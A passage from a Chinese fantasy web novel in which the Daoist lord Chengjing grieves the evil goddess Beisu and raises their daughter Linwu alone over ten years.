天綪无法进入结界,也无法探寻到成镜在里头做什么,等了半天,只等来他这么一句话,幽深的眸光盯着水雾半晌,才说了声:“我在吞云殿等道君来。” 成镜收回看向窗外的目光,一眼看到舞宝睁着眼睛看自己。 不知是不是他的错觉,孩子似乎比昨日精神很多,眼睛很大,很像她娘。 思绪骤停,成镜立刻移开目光,不看舞宝,努力将那道身影压下去。 人都死了,居然还在他脑海里挥之不去,她不该被叫做邪神,而是魅魔。 “啊呜?” 软糯的声音拉回成镜的思绪,他低头望着怀里的孩子,有一瞬的不解。 这是她的孩子,凭何要他来养? 成镜将孩子放到床上,转身就走。没走几步,她哇的一下就哭出来。与之前相比,声音不大,却叫人听出了委屈和害怕。 离开的脚步顿住,成镜低头,看着自己又被洇湿的衣裳,捂住双眼。 他站了多久,孩子就哭了多久。 最终他抱起孩子,告诉自己,这是他诞下的,与旁人无关。她说出的话都没有兑现,就当世间没有这个人存在。 成镜蓦地抬头,视线僵滞,许久后,缓缓低头,伸出食指去碰孩子的手,被她的小手握住。 她已经不在这个世界上,世间再无那个将他掳走,又夺走他清白肆意掠夺的女子。 软乎乎的小手攥紧他,朝他哇了一声,眨了眨眼,把泪挤出来。 成镜说不清自己对这个孩子是什么感情,若是要问,他会脱口而出:“责任驱使,不会抛弃她。” 更深的情感,需要时间去察觉。 成镜又试着哄她睡,但她似乎因为睡了几个时辰,格外精神,怎么都不肯闭上眼睛睡觉。先前用莲花代替他哄她,差点摔倒,还是得人看着。 思考片刻,他将孩子裹得严严实实,只露出鼻子和嘴巴,又在她身上套了层结界,防止风灌进来,自己换了身衣裳,离开道宗。 百里之外,曾经被破开封印的黑水囚牢,时隔多日,再次迎来两人。 棺材敞开,里头一人靠棺而立,四肢被锁链捆绑,他身上的血迹已经干涸,深褐色的血块粘黏,脑袋垂着,面无血色。 莲花飘进来,照亮周围,他睁开眼,看到眼前之人,喉咙里发出笑声。这笑在洞穴内显得毛骨悚然。 雾漓额间青筋暴起,死死咬牙,直起身子,抬高头,即使被囚,也不甘在他面前示弱。 “你怎么不杀了我?把我囚禁在这里,还特意造了口棺材,制造她被封印时一模一样的场景,以为这样就能让我害怕?你真是太天真了。” 成镜没有理他,检查了一遍禁咒和杀阵,没有发现松动迹象。 雾漓忽然问:“凤鸣那个蠢货呢?他有没有死?” 成镜没说话,空着的手将舞宝不安分的手塞回去,不让她乱动。 “凤鸣是凤凰,他有涅槃的能力,当初昆仑那群人要抓他没抓成,他要是没死,说不定还能救北溯。”雾漓说这句话时,身子朝成镜倾斜,语气急迫,听着像是真的在想救北溯的办法。 他说完,等了许久,面前的人才说:“凤鸣也死了。” “都死了啊……”雾漓靠了回去,锁链晃动,声音刺耳难听。 他盯着成镜一身的白衣,忽然嗤笑:“你穿这一身白,是在给她守孝?” 成镜抬眼看他。 “你真喜欢她?”雾漓像是找到什么有趣的玩意,笑得开心极了:“就她那样的,还有人喜欢,你是瞎了眼,才会看上她。” 他话一顿,目光满含恶意地打量成镜,看到他怀里的襁褓,面容扭曲。 “她把你劫到魔界,利用你生了孩子,你就不觉得耻辱,不恨她吗!” 他的表情看起来恨极了,表面显露的恨盖过其他情绪,叫人以为他恨极了北溯。可说完这句话,恨意褪下,被掩藏在深处的情感涌出来。 雾漓红着眼,死死盯着襁褓,恶言吐出:“你娘死了!你娘不要你了,哈哈哈,你娘根本就不想要你——” 他的声音戛然而止,成镜冷脸封住了他的嘴,一口气憋回去,无法疏通,憋红了脸。 成镜轻轻晃着胳膊,舞宝不知什么时候扯开了脸上遮着的布,睁大眼睛看他。 来之前就在她身上布下隔绝声音的结界,她听不到那些恶言。 他却听得很清楚。 成镜抬头,直视雾漓,淡淡道:“你是个没有担当的男人。” 雾漓当即动手,锁链困住他的四肢,他只能挣扎,脸颊鼓起,涨得通红,怒极,却没法说话。 成镜的声音很平静,叙述事实。 “雾海将妖王之位传于她时,你已经产生了杀她的心思,对吗?” 雾漓挣扎的动作停下,惊愕望着成镜,连表情都控制不住,惊慌失措。他下意识就要反驳,但嘴被封住,一点声音都发不出来,只能听成镜说。 成镜的声音越来越冷:“她的计划也是你透露给昆仑的,对吗?” 雾漓瞪大眼,极力张嘴,两张嘴皮子黏得一条缝都张不开。 “她救了你,你却招来昆仑,想借昆仑之手杀了她,对吗?” 成镜每说一句,雾漓的反应更强烈一分,他拼命挣扎,使劲摇头,似乎这样就能证明自己未曾做过这些。 成镜顿了片刻,待雾漓逐渐放松时,再次开口:“昨晚,她到死去,你都没有帮她。” “你恨她。” 锁链晃动,雾漓一头倒在棺材上,胸膛剧烈起伏,下意识张嘴,发现嘴能张开后,声音立刻蹦出来:“你从哪知道的?她全都告诉你了?她把我和她之间所有的事都告诉你了?” 成镜缓缓摇头。 雾漓根本不信,“你现在说这些,是想问我的罪?你算什么东西,有什么资格说我!” “你凭什么恶意揣测我和她的关系!” 他瞪红了眼,成镜说的每一句话,都插进他心里,多少年暗藏的心思,被人说出来,所有的不堪与卑劣无处遁形。 “告诉我,当初要杀她——”成镜声音一顿,雾漓正沉迷在自己的世界中,没发现他的异样。 “当初入凡世的昆仑仙尊,都有谁。” 雾漓回神,重复他的话,忽然说:“让我看看她的孩子,我就告诉你。” 成镜垂眸,舞宝正眨着眼,手里捏着他给她的莲花,注意力都在莲花上。 他抬眸重新望向雾漓,说出两个字:“不行。” 雾漓一愣,笑出声。 “那你永远也别想知道。” 成镜抬手凝聚灵力,道:“我可以用搜魂术。” 雾漓咬牙,双手捏紧,瞪着那孩子看了半天,才说:“我告诉你。” 成镜回到重莲殿时,日将下山,刚回去孩子就哭。他又去了囚牢,将器皿盛满后,回去喂给她喝。 舞宝已经能自己拿着花瓣吮吸,不用他帮着拿。 他静静看着,脑海突然回荡雾漓的话。 “你真喜欢她?” “她把你劫到魔界,利用你生了孩子,你就不觉得耻辱,不恨她吗!” 成镜猛地闭上眼,仰起头,重重呼出一口气。 他觉得自己大抵是疯了,竟然会将雾漓囚禁在黑水,让雾漓受与她一样的苦,甚至还在雾漓面前说那些听起来像是为北溯正名的话。 这很不像他。 他应该是要报复她的,要将她对自己做的事全都还回去。 但她死得只剩下灰,他要如何报复。 成镜睁眼,眸中闪过挣扎,疑惑,最终 将所有情绪锁进笼中,低头望去时,孩子已经闭上眼,张着嘴睡着了,手里还抓着一片花瓣。 他轻轻将花瓣抽走,在她周围设下结界,凝出莲梗编织成围栏,只留下一拳的边距,这次她掉不了。 莲梗连通他的意识,她一动,成镜就能知道。 在寝殿内外布下结界,他离开重莲殿,去了吞云殿。 里头的人一见他的身影,立即起身,待他走近,才道:“抱歉,昨日我太着急,多有冒犯,还请道君不要责怪。” 成镜坐在惯常坐的位置上,开口:“宗主有何事要说?” 天綪仔细观察他脸色,问了一句:“昨日雷劫散去前,一道雷劫都没有下来吗?” 成镜抬眼望她,半晌才说一句:“宗主大可直言。” 天綪不再绕弯子,直接道:“此次渡劫失败并无大事,道君只需闭关将心魔铲除,继续修炼,必然还有机会飞升。” 成镜嗯了一声,他没有说自己刻意压制着没有飞升,不论是因为月神说的上界阴谋,还是因为这个孩子,又或是其他。 对天綪说自己有心魔,是不想她知道自己能够飞升,却选择不飞升。 天綪又问:“昨晚道君说的,那个孩子……”她顿了顿,语气透着几分难堪,不仔细听,听不出来,“那个孩子,真是道君你的?” 成镜又嗯了一声。 天綪一下站起来,几次张口,一看到成镜那冷静的样,忍了又忍,终是没忍得住,问:“短短不到一月,道君怎么就有了孩子?” “生母是谁?” 成镜眼神渐寒,天綪发觉,立即为自己解释:“我只是有些担心——” “这不该是你问的,我有孩子与否,与道宗无关。” “这怎么与道宗没有关系——” 成镜打断她:“你还有何事要说?” 天綪止住话,心知自己从成镜这得不到任何有用信息,只好先按下,说出另外一件事。 “这次为除邪神而牺牲的修士数量已经统计完,一共死了九百二十一名,我宗弟子占一半。” 说到除邪神时,成镜眼睫轻轻颤了颤。 “待将参与进来的宗门都一一赔偿过后,宗门该吸纳新鲜血液,填充宗内弟子空缺,道君您觉得呢?” 成镜只说了一个好,天綪刚想说让他出面招收弟子,他却起身,丢下一句话就走。 “此事宗主来安排,再合适不过。” 天綪看着他离去的背影,想到那个孩子,心中猜测生母是谁。本来想问成镜在魔界这些日子都经历了什么,但他那副拒人于千里之外的模样,根本问不出来。 且他回来后,身上的气息更加高深莫测,连她都看不出来他的实力到何种阶层,贸然逼问,不可能有结果。 “但愿你与那邪神,没有扯上关系。” 成镜回到重莲殿,孩子还没醒,他松了口气,去处理自己。 褪下的衣物湿了一片,稍稍一碰胸口,就会溢出,他看了半天,忽然骂人:“都是你干的。” 今日出去两次,都要用法术隔绝触觉,防止自己露出异样反应。 再一想孩子今日已经喝过三次,不知道什么时候还要喝,他干脆提前准备,刚要用法术保存,想到那妇人说的话,以防万一孩子喝的不新鲜,他还是倒了。 重新换上干净的白衣,系上腰带时,莫名想起雾漓那句话。 现在一看自己的衣裳,也许他在昨晚,看到她的骨灰后,就已经潜意识这么做了。 成镜一声不吭地系好腰带,走出去。 脚步一顿,回望囚牢。 自他来到道宗,在重莲殿住下,这间囚牢从未关过人,直到她的到来。 这是在道宗,唯一与她有接触的地方。 成镜转身,透过水雾遥望已经被采空的莲池,逐渐失神。 那晚,他带着吞下凤鸣秘术威能的莲子来到凉亭,本来并未察觉到有人,但莲梗传来被咬的感觉,暴露了她的存在。 他没有立即动手,能在他面前用隐息术不被他发现,实力定然强悍,他在等她动手,试探她的实力。 但直到他将莲子放到莲池内,她都没有动手。 那时他不希望自己的住处附近有威胁,主动开口,却成了他被她戏弄的开始。 成镜忽然后悔,那时他该先一步动手,将她捆住,囚禁在牢笼里,这样她就没法戏弄他,也不会去魔界,更不会死。 “啊……”他仰起头,看着暗下的夜空,今夜安静得好诡异,好冷清。 他忽然觉得冷,却不想回寝殿,仰头望着那轮弯月,想上去看看,她是不是坐在上头,低头看自己。 成镜觉得自己大抵是疯了,居然会产生这样的念头。 她对他做了那么过分的事,他怎么还会想她? 成镜低头,微微握拳。 她已经死了,没必要再想她。 他转身,回了寝殿,一推开门,就听见孩子在哭。 成镜脚步一顿,站在门口看着莲梗内的孩子,忽然就不敢上前。 惊觉自己还没有做好准备去当一名父亲。 在她死前,他想的是,将她们都杀了。 片刻后,花瓣被递到舞宝嘴边,她抱着莲花吮吸,暂时没哭。 成镜坐在边上,等她饱了,再哄她睡。 可她将一杯的乳液喝完,却没安静下来,还在哭。 成镜以为她没有喝饱,又去盛了一杯,她不再喝,将花瓣拍开,四肢扑腾,哇哇直哭。 也不知该怎么哄,将她抱起来,她也还是哭。 成镜没了法子,在黑夜中抱着孩子去问人。 那户人家门锁着,里头没人,成镜只好去寻别家,半路上想起来,这是一朵莲花和蛇生的孩子,可能与普通人不一样,他转道,去了妖界,还特地换了容貌。 大晚上突然被人从背后喊住,很容易被吓到。 那妖一见成镜,以为他是人族修士来杀妖的,连连求饶。 却听一道清冷声音中带着焦急,问:“她在哭,但又不喝……奶,也不睡觉……” 后面的话那妖没听,直接去看男人怀里的孩子,孩子涨红了脸,哭着哭着还在打嗝。 那妖狠狠呼出一口气,拍着胸口说:“大锅,你绑我就是因为这个?她吃多了哟。少喂点!” 那妖古怪看他,没好气道:“你第一次带孩子?” 成镜沉默。 “第一次没经验,你等着,我给你写个育儿手册!”那妖拽了片树叶,妖力灌入,边写边说:“你算是运气好,碰上了我。仓鼠你知道吗,鼠鼠我啊,育儿方面可是很有经验的。” 成镜不言,只看她写。 随后想到一个问题,仓鼠的育儿经验,适用于他吗? 成镜刚这么想,那妖已经写好,捏着树叶一角,离得老远,伸直了手臂,递给他。 那样子,只要成镜一有异动,她就丢了树叶跑路。 成镜接过来,刚说谢谢,那妖已经跑远了。 他低头看了眼树叶,立刻回了寝殿。 将那妖写的东西看完,成镜无法辨认这是否有用,只能先试试,一有不对劲,立刻停。 好在确实有效果,也可能是孩子本身继承了父母特质,身子强悍,一个时辰后,哭声停止,她缩在成镜怀里,闭眼睡着了。 成镜抱着她,去看那妖写的东西,从孩子刚出生饮奶的量和次数,再到其他事项,事无巨细,全都写在上头。 将内容全都记在脑中,烧了树叶,再看孩子时,呼吸平稳,已经不闹了。 抹去她眼角的泪,成镜想了想,又凝出莲花,将她放在莲花里,灵力蕴养。 女孩子总不能把脸哭肿了。 这次在莲花外加了数层防护,成镜才躺下,一日过去,分明都是十二个时辰,却如同过去数年般漫长。 可为何,在魔界的那些日子,过得比箭还快。 成镜闭上眼,低声呢喃。 那两个字消散在空气中,谁也听不见说的是什么。 “怎么哭了。” 她的声音忽然响起,空旷缥缈,无法捕捉她的位置。 成镜猛然睁眼,女子惊艳的容颜近在眼前。 她的笑容很美,只这么被看一眼,心神摇曳。 成镜静静望着她,眼中弥漫着雾色,眼中的她仍旧笑着,说:“这才到哪。” 成镜抬手,去碰她,碰到一手的冰凉,脑中很快响起一个声音,接下来,她会动手,在他体内注入她的力量,问他身子可有不适。 他觉得很不适。 眼睫一颤,雾气弥漫,眼前的一切消失,漆黑笼罩。他泡在海水里,仍旧望着前方,那里已经没有她的身影。 梦里没有她。 成镜无法控制自己的梦,也无法控制梦中她的消失。 待他醒来,只有莲花内的孩子,还有一身狼藉的自己。 他缓缓起身,捂住双眼,仰头呼吸。 道宗很快招收了新弟子,三界边界设立结界,交界处成立三界督门,督查人、妖、魔三族是 否遵循道君之令。 成镜修好了凉亭,将莲池复原,那间小破屋也重建了,但没有人住。 整个重莲殿,只有他和舞宝。 没人敢再提议选弟子上来服侍他,后来道宗传开这么一句话:“千万不要去重莲殿打杂,上一个去重莲殿的,已经死了。” 莲池内莲叶透芽,夏日很快便要到来。 “道君,宗主请您去吞云殿商议今年宗门大比事宜。” 一道白色身影出了大殿,走上水栈,水雾散开,他走进凉亭,莲池映入眼帘。 他抬手,一颗莲子坠入池中,荡开涟漪。 成镜抬眸,看向远方。 他在人间等候十年,只为等到她再次入梦中。 可她从未再有一次,入他的梦。 成镜迈步,走出凉亭,身后铃声渐响。 第46章 “我叫鳞舞,你们也可以叫我舞宝。” 我爹是道君,我娘是邪神。 但我,没有娘。 我爹生我的时候,我娘死了,他年纪轻轻成了鳏夫。 你们是不是觉得很奇怪,我爹怎么能生我呢? “鳞舞。” 小孩做出嘘的手势。 我爹喊我了,我得走了,下次见。 “爹爹,东西都准备好啦。” 偏殿内跑出个抱着布包的小孩,小短腿使劲扑腾,在白衣男人面前停下。 她睁着绿瞳,脸圆圆的,两条麻花辫垂在脸侧,有点炸毛。 两本册子从包里掏出来,还特地翻开,上头红笔批写的“甲”尤为明显。 “我的功课!”说这句话时,她的眼睛亮亮的。 “还有这个,手工课上学的,千纸鹤!” 两只千纸鹤躺在肉肉的掌心里,上头还写了字。小孩连忙把千纸鹤收回去,心虚地拿出另一件东西。 “这个!我写的信!” 她将信封展示给男人看,很快又收回去,低头看着信封,眼里满是期待:“我准备好啦,爹爹,我们走吧!” 成镜看了她一会,朝她招手。 鳞舞走过去,眨了眨眼,就见他俯身,头顶一重,听到老爹又唠叨:“我先前怎么与你说的?” 她耷拉着脑袋,声音瞬间变小:“要注意自己的仪容仪表……我只是有一点点激动。” 成镜理好她头顶炸开的发,直起身,往偏殿里望了一眼。 鳞舞跟着望过去,一颗镂空的脑袋鬼鬼祟祟探出来,往这边看。 她朝它笑,挥挥手,说:“藕宝,我们出去啦,你守着重莲殿哦。” 莲藕捏的小人点点头,咧开一条缝冲他们笑。 “走吧。”成镜转身,步上水栈。 小孩抱着满满的布包,在他身后跟着。 一大一小两道身影倒映在水面上,缓缓走向凉亭。 鳞舞仰头瞅着老爹高大的身影,空出手比划了一下,发现自己还没有他腰高,嘟着嘴,小声哼了一声。 等我以后长高了,就能自己去。 成镜稍稍偏头,余光扫了眼身后的小孩,没有说话。开启禁阵,走到凉亭内。 鳞舞迅速折了一片莲叶藏好,瞄了一眼老爹,见他背对着自己没看见,咧开嘴偷偷笑。 “牵着我。” 鳞舞连忙闭上嘴,看着老爹垂下的手,张开手握住。 眼前的莲池消失,被一望无际的云海取代,他们站在山巅,一棵幼苗迎风而立,树干开了杈,但光秃秃的。 鳞舞立刻松手,往那棵比她稍微高一些的树跑过去,激动道:“阿娘,我来啦!” 成镜漫步走过去,看着鳞舞将布包里的东西一样一样地拿出来,放在坟前。 “阿娘,我又得了甲等!张伯伯说我很聪明,一教就会!”鳞舞高高兴兴地把功课摊开,又拿出那两只千纸鹤,一个一个地摆放好,这次她是在心里说。 “阿娘一个,我一个,不给爹爹。” 千纸鹤上写着两个字,“阿娘”和“舞宝”。 “还有这个,给阿娘的信!”她没有拆开,放在功课和纸鹤最上面。 “阿娘你看,我现在写字比以前好看多了!你肯定能认出来。” 鳞舞将布包整理好,再一看边上长的树苗,哼了一声:“你怎么比我长的还快。” 她伸手,小心翼翼碰了碰树干,声音低了很多:“你什么时候才能长大呢。” 她在坟前坐了会,起身的时候使劲眨眼睛,站到一边,对老爹说:“我已经和阿娘说好了,明年再来看她。” 成镜嗯了一声,走上前,凝出火苗,将这些东西都烧了。 火焰将它们烧成灰,思念如火般炽热,烧得眼眶发烫。 “在一旁等我。” 鳞舞哎了一声,掉头往后走,她已经习惯了,每年来的时候,老爹都要单独和阿娘相处,都听不见他说了什么。 她站在山顶往西面看,那里树木丛生,密密麻麻,如同一块绿布将大地遮盖。 老爹说过那里是妖界,但是她从没有去过。老爹带她去过魔界,魔界的那个阿姨超好看! 要是阿娘在,肯定也好看!天下第一好看! 鳞舞遥望那郁郁葱葱的茂林,时间久了,有些无聊,回头一看,老爹还站在树边,不知道在干什么。 她又偏开头,抱着布包蹲下来,托着下巴看妖界。 说是坟墓,却没有立碑,除了成镜,没人知道北溯的骨灰埋葬的准确位置。 成镜低头看这棵树,有一瞬间的恍惚。 这棵树是她死后一年,他抱着鳞舞来时发现的,那时还是个幼苗,生在她的坟边,脆弱得一脚就能踩死。 那时他也不知出于什么心理,带着鳞舞来到这座山,在她坟前久坐三天,直到听见鳞舞的哭声,才回过神。 她刚死的那一年,他累极了。 不懂怎么带孩子,即使有育儿方法,也还是不能很快上手,好不容易止住了哭,哄睡着,一闭眼,梦里全都是她。 令他更崩溃的是,梦里的自己意识很清醒,知道是梦,可没有一次挣脱梦境醒来过。 在梦里,他想过要将她推开,或者一手掐住她的脖颈,又或是拉着她一起被海水窒息。 可每一次,这些念头只闪现片刻,就被粉碎,意识和身体不受控制地要在这梦中沉沦,甚至想—— 溺死在这梦中,永不清醒。 这不是他,这不像他。 每一个被她闯入梦中的夜晚,每一次都是他独自一人狼狈地醒来,寂静黑暗的寝殿内,除了自己急促的呼吸,再没有她的身影。 那些被她囚禁折磨的日夜,成了他永远不可忘记的梦魇。 而制造这一切的人,就这么死了,留下个无法兑现的诺言来哄骗他。 “等我回来。” 成镜凝望她的坟,眼中结上冰霜。 “骗子。” 要他为她孕育生命,孩子生下来,她倒好,丢给他,帮她养了十年,连一面都没见过,她多轻松啊。 成镜抬手,五指张开,按住埋葬她骨灰的位置,黑土将他的手掩埋,像 是一张纸浸入墨中,白色被黑墨吞噬,只余下那么一点白。 在她死的第一年,他曾经想过将坟挖开,看看里头的骨灰还在不在。 她是个骗子,惯会骗人。 变幻容貌骗过道宗所有人,潜伏进来。骗过了他,囚禁他,每次行那事时,还要骗他快了,很快好就好了。 还骗他等她回来。 说不定她的死也是在骗他,坟里埋的不是她的骨灰,她乔装改扮,又能换张脸,换个身份,去骗别人。 骗别人给她生孩子。 那只手握紧黑土,似乎手中有什么尤为重要的东西,不抓住,就会溜走。 没有人提醒他,这样的想法他不该有。 从遇见到分别,他们从始至终都是敌对关系,他该想的是邪神已死,他该感到畅快。 而不是每年在这里给她上坟,夜夜梦到自己与她欢愉。 “你该庆幸,遇见的人是我。” 否则没有人会年年在你忌日这天,来看你。 成镜收回手,用法术清洁干净,丢下一句话:“鳞舞很优秀。” 成镜转身,小小的身影映入眼帘,她蹲坐在山巅,云海与茂林交接,成了她的背景。鳞舞抬起手,拇指与食指捏合,组成一个圈,放在眼前,眼睛透过这个圈去看妖界。 喉头滚动,他张口,说了两个字:“像你。” 似乎不想她听到这句话,成镜很快又说了一句:“更像我。” 他将莲花一瓣瓣掰开,松开手,花瓣飘落,缓缓消散。 他张口呼唤:“鳞舞。” 鳞舞赶紧站起来,拍拍屁股,拿着布包往回走,“哎!” 她走到成镜边上,低头望小树苗,不舍道:“我们要走了吗?” “嗯。”成镜已经走了一步,鳞舞赶紧把摘来的莲叶放到小树苗枝丫上卡好,拍了拍树干,小声说:“下次见。” 她小跑着跟上成镜,握住他垂下的手。 云海消失,一座损坏的石碑显现。 成镜与鳞舞的身影刚出现,立即有一名女子过来。 鳞舞站在成镜身后,探出脑袋,乖乖喊了一声:“瑶姨好。” 冉姬瑶对她笑着说了声好,才问成镜:“道君今日来,是为前几日异种裂缝异常波动而来?” 成镜点了头,牵紧鳞舞的手,与冉姬瑶一并往里走。 冉姬瑶屏退魔将,在魔宫外设下结界,才将她发现的问题禀告给成镜:“前些日我们确实在人界与魔界边境处发现被异种感染的村子,按理说,以那处村子的人口数量不至于会引来异种裂缝。” 她面露迟疑,犹豫片刻,还是说出来:“我的猜测是有人在村子里布下了能聚集人气的阵法,刻意引来异种裂缝。” 鳞舞睁大眼看他们,听不懂他们在说什么,张伯伯没教啊。 “她死后……”冉姬瑶看了眼鳞舞,她正好打了个哈欠,没有注意这边,“异种裂缝越发活跃,但妖族已经很久没有出妖界,应该不是他们做的。” 以冉姬瑶的身份,她本不用操心这些,但令人不解的是,这些本是受妖气侵蚀异化成异种的人身上,居然发现了魔气的存在。 这是近一年才发生的事,为此人族数次质问魔族,甚至要求督查门出面,以魔界破坏道君当初下达的命令为由,问魔界罪责。 魔界根本没干,人族咄咄逼人,不信他们的辩解,冉姬瑶只能请求成镜出面控制局面。 她不愿在这个时候与人族起争端,那一战过后魔界元气大损,至今未恢复过来。道宗还多了一个入神境修士,打起来,他们即便能赢,也会损失惨重。 成镜当时是出面阻止了,派人去查为何会产生魔气,将近一年都未曾查清。 且魔气根本不会将人异化成异种,这就更奇怪了。 “人族呢?你有没有调查过?”冉姬瑶问。 成镜道:“暂时没有线索。” “这事确实邪门。”冉姬瑶叹了口气:“这东西无法长久离开裂缝,很难杀死。” 成镜指尖一跳,眨了一下眼,他想起了在梦境中,她对付异种时的方法。用雨隔绝人气,异种回不去裂缝,妖气就会消散,变成死人。 “若是再遇到异种,将他们抓到魔界,通知我过来。”成镜说完,余光一瞥,立刻伸手接住往地上倒的脑袋。 鳞舞睡着了。 他轻轻将她抱到怀里,让她脑袋枕着自己胳膊,设下隔绝声音的结界。 冉姬瑶一看他这熟练的动作,叹了口气。 这孩子是她见的第四面,第一次是她刚出生,她娘死的那晚。 第二次是成镜抱着这孩子来问她,凤凰能涅槃,是否能救北溯。但那时凤鸣已经死了,世间没有第二只凤凰,而他也找不到北溯神魂。 那日她看着成镜抱着一岁的孩子,没什么表情地走出去,忍不住问:“如果她活了,你会把孩子的存在告诉她吗?” 她虽然不知道这两人之间发生了什么,但孩子必然和北溯有关系。那双眼太好认,太难忘记了。 却没想到,他会说出那样的话。 “不。” “我会亲手杀了她,”他低头看着怀里的孩子,“孩子是我一人的,与她无关。” 成镜抱起鳞舞,对冉姬瑶说:“你告诉妖王,若想保住妖界,就与我合作。” 冉姬瑶蹙眉,不大乐意去妖界,她也是从妖堕魔的,对妖界没有好感。但为了魔界,只能去传达成镜的意思。 “好。” 当成镜背对她时,才发现他脑后束着的白色发带,愣神片刻,颇为惋惜地摇头。 成镜的身影消失,再次出现时,已经回了重莲殿。 他在凉亭内停留片刻,看向那被摘的莲叶,稍稍动手,恢复如初,这才开了禁阵走进去。 水栈上男人抱着熟睡的孩子,眸光渐渐柔和下来。 走到大殿前时,几节藕拼凑的小人迎上来,见小主人睡着,立刻解释说:“小主人今日的课程多了些,昨晚为了写出一个错别字都没有的信,熬了一宿,应该是太累了,这才睡着。” “明日休假,不用早早叫醒她,可以多睡一会。”成镜直接抱着鳞舞去了她的寝殿,将她放回床上,把她的辫子散开,这才离开。 莲藕做的手摸了摸鳞舞的额头,放心了:“凉凉的,正常。” 它在鳞舞边上趴着,两个莲子做的眼睛时刻不离地看着她。 成镜出了鳞舞寝殿,转头去了囚牢,脚步逐渐加快。 刚走进去,囚牢门立刻关上,禁阵层层竖起,昏暗的囚牢内只有他眉心莲花印记闪烁的微光。 莲台显现,他一手按在莲台上,不住地呼吸,双手握紧,额间青筋凸起,很快冒出细密汗珠。 他转身坐上莲台,闭眸凝神。 丝丝缕缕的邪气从莲台内散发出来,与灵气融合,注入他体内。 不过片刻,他周身爆发出一股对冲的力量。 成镜吐出一口血,睁开的眼底被戾气充斥,他弓着身子,呼吸急促,血染红了唇,眉心的印记渐渐攀上邪气,发带散开,发丝凌乱,一缕发丝掩面,沾上唇边的血,这样的他看着,宛若那纯白的花被蹂躏后,沾上了红色颜料,糜烂又艳丽。 漆黑的囚牢亮起来,一面镜子立在角落,映照出他狼狈的身影。 成镜抬眸,面向那面镜子,清晰看见眉间暗红的印记,他伸出手,去摸自己的眉心。 双眸死死盯着那印记,戾气越来越重,镜中的那双眼似乎变成了绿眸,一抹倩影从他的倒影中走出来,攀着他的肩膀,附耳轻喃。 镜中的他一把扣住她的双手,掐住她的脖颈,她却踮起脚,吻了上来。 成镜猛然击碎镜子,倒在莲台上,手臂遮住双眼,无措地喘息。 越来越无法压制她的邪气,越来越控制不住自己的梦境。 从前月圆之夜会使他力量全失,现在,在她忌日这天,被邪气折磨得分不清现实与梦境。 多少次想将罪魁祸首杀了,次次清醒过后,望着掩藏自己所有痛苦与不堪的囚牢,清醒地意识到她已经死了。 她连死,都要在他身上留下这种东西,妄图让他永远记住她。 一声嗤笑从喉咙里发出来,成镜低低笑出了声。 真想杀了自己,去地府找她,在地府里将她再杀一遍。 凭什么她轻易就死了,留他承受她带来的痛苦? 成镜移开手臂,睁开眼,眼 前又是一面镜子,镜子里头她俯下身,似乎从镜子里出来,压在他身上,掐住他的脖颈,在他耳畔低语:“道君想我了?” 成镜动了动手,克制着握紧,身子一动不动,只看着她。 脖颈刺痛,一偏头,是她红润的唇。 她舔了舔被咬破的脖颈,唇上沾上血,红润妖艳。 “道君怎么不说话?” 成镜屏住呼吸,直直望着她,抬手去碰她的脸。 “啪嗒——”镜面折射晶莹的光。 皎洁的月光洒落,微风拂过,莲叶微荡,池水泛起涟漪,凉亭立于莲池之中,万物寂静。 藕宝悄悄出了小主人寝殿,去莲池采莲叶,准备给小主人做新衣服。 前几天张伯伯夸了小主人衣裳好看,藕宝高兴坏了,一下做了好几件,鳞舞的衣裳都不重样的。 它采摘完,回去的时候,瞧见囚牢的方向有些异常,担忧地看了好一会。 道君这些年,每到这一日,就会带小主人出去几个时辰,回来后总会去囚牢待一整晚,每次这个时候,囚牢外就有很奇怪的气息。 藕宝也不敢问,毕竟它只负责照顾小主人。道君都那么大了,肯定能照顾好自己。 它欢欢喜喜地抱着莲叶去了自己的小窝,给小主人做衣裳。 成镜日日会在这个时候离开道宗,天綪并非不知,她问过一次,只得到一句:“这不该是你管的事。” 她也试图追踪过,但他一出道宗,气息全无。 天綪震惊,他的实力已经高深到连她都没法捕捉。即使她在七年后达到入神境,也依旧看不透他。 她开始怀疑,成镜究竟是不是因为心魔无法渡劫,也许他渡了劫,只是压着没有飞升。可那雷劫确实没劈下来,更加疑惑。 吞云殿内三位长老坐着,见宗主久久未说话,提醒道:“他们的意思是,在我宗举办大比,不过我宗即将举办招新大典,刚招收的新弟子必然是无法参加大比的,宗主觉得,是否可以放宽条件,让新弟子也参加?” “名次输赢不说,新弟子参加大比,也可积攒些经验。” 天綪回神,思索片刻,道:“再问问道君的意思。” 星峦立刻去吩咐执事去重莲殿请人,刚吩咐下去,想到什么,把人叫住。 “一定要亲口告诉道君。” 执事连连点头,他自己也知道。上次去重莲殿请道君商议异种裂缝之事,道君不在重莲殿,告诉了小道君,结果来的人是小道君,谁都不敢把她赶走,只得好生伺候着。 后来还是小道君累了,回去时撞见道君,才把人请来的。 他们极为震惊道君居然有了孩子,不知生母,猜遍了整个修真界,都没猜到是谁,还被道君训斥,这下谁都不敢乱猜。 走出吞云殿,日刚升起,还是在山巅,应是很凉快才对,执事抹去额头的汗,奇怪道:“我怎么觉得很热呢。” 直到站在凉亭内,要往水雾里传音时,惊觉自己为什么会出汗。 他是怕的呀! 但宗主交代的事不能不办,只能硬着头皮冲里头喊:“道君,宗主请您去吞云殿商议宗门大比一事。” 他等了会,也不见有人回应,在再喊一次与再等等中来回摇摆,焦灼万分,急得汗冒得更多。 想了想,准备再喊一声的时候,禁阵开了,水雾散去,白色身影出现的那一刻,他猛地松了口气。 “道君,宗主与长老们拿不定主意,需要您去一同商议。” 男人只嗯了一声,走在水栈上。 完成任务的执事狠狠松了一口气,正要转身回去时,就听清脆的铃声响起,当即僵住身子,眼睛都不敢往成镜身后看。 听到声音,成镜停下,回头看。 小孩拿着一串风铃,撒开腿跑在水栈上,着急地喊着:“爹爹爹爹,我也要去!” 执事:完了。 “此次招新,为的是让寒门子弟有改命的机会,皇室的名额收回部分,有介绍信也不可直接收下,还是要比拼实力,胜者入宗,败者原路遣回。” 星峦刚说完,就见那执事回来,面上悲喜交加。 “道君来了?” 执事点头,却又摇头,星峦见他这模样,疑惑道:“究竟是来了没来?” 话音刚落,成镜的身影进入视线,他立刻扬起笑脸,起身迎接,“辛苦道君来这一趟,您——” 他的声音戛然而止,不仅是他,另外两位长老与天綪见到成镜身后的小人时,笑容都凝固了。 星峦转眼瞪那执事:谁让你把小道君带来了! 执事:我不知道啊! 成镜牵着鳞舞,走到下首位坐下,抬眸平静道:“诸位有何事要商议?” 鳞舞跟着说:“你们有什么事要和我爹爹说?” 第47章 